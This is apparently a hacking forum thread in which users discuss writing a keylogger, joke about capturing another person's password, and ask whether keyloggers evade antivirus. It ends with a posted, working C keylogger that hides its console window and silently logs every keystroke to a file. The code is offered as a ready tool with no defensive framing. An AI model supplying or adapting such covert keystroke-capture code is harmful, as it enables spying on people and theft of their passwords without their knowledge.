Sorry if this has already been made, but is there a .bat keylogger out there? Thanks! (I would like to use it on my system without installing anything.)

Uhhh, a keylogger in batch?
Sure but they would have to type into the window.

[signull]

I don't even think it's possible to grab keystrokes in a batch script without some sort of prompt requiring the user to press the Enter key. I could be wrong, though.

And like jht129 already said, the person would need to type in the batch script's window (not a very good keylogger).

Batch is an ancient and incompetent program. It can't do much more than string a few external programs together, maybe display a little menu. Forget about batch, Windows has to have some better scripting than batch..

[jht129]

Thats true, thanks. I guess i'll have to learn C++ now.

hahahahahaha

[jht129]

yeah pretty funny, i doubt i could get them "umm... sir could you put your password into this black window? Thanks I appreciate it lol"!!!

What makes you think that won't work?

[Aghaster]

lol... batch files... they are so limited compared to bash scripting. Anyway, I don't think a silent keylogger is possible in batch. You'll have to write it in another language that will let you do more. Why not C?

[jht129]

i'll try.. i got these huge books on C++ today, gotta read them

[Aghaster]

Great. But for a keylogger, you'll need a Win32 programming book on top of that. good luck

[crackedatom]

Irongeek has one if you need help... http://irongeek.com/...urity/keylogger
It's written in C I believe

[xof7]

http://www.planetsourcecode.com/ has some really source code for a lot of apps. You can either learn from theirs as an example(so you learn something), or you can just use it as is. Does anyone know if anti-virus heuristics have become advance enough to monitor key logging yet? I wouldnt be surprised if some of the more popular key loggers from their are found by your anti-virus software.

[jht129]

are they undetectable?

[Ohm]

No. Nothing is.

[Ajax]

Yes. It is possible to write a batch command script keylogger, although it doesn't work like you think. It's a bit old (9x), so it will need some revising. The secret is ANSI. I haven't tstd it recently. Here's the code:

.bat files are fun

[Colonel Panic]

This goes a little beyond my knowledge of batch scripting. How does this thing work, exactly?

[duper]

Isn't there an undocumented/unintentional syntax for inlining assembly instructions in batch? (without debug.exe) i.e. keyboard interrupt hooking.

[chown]

It's definitely possible, and relatively easy, using some of the applications packaged with the OS. But there's a million and one ways to go about it.
It's much easier just to write a few lines of C.

#include <stdio.h>

int main(int i) {

  FILE *log=fopen("keylog.txt","a+");
  char ch[2]={0};
  FreeConsole();

  while(1) {
	for(i=0; i<254; i++) {
	  if(GetAsyncKeyState(i)&1) {
		ch[0] = MapVirtualKey(i, 2);
		fputs(ch,log);
	  }
	}

	Sleep(1);
  }

  return 0;
}

Easy as pie.
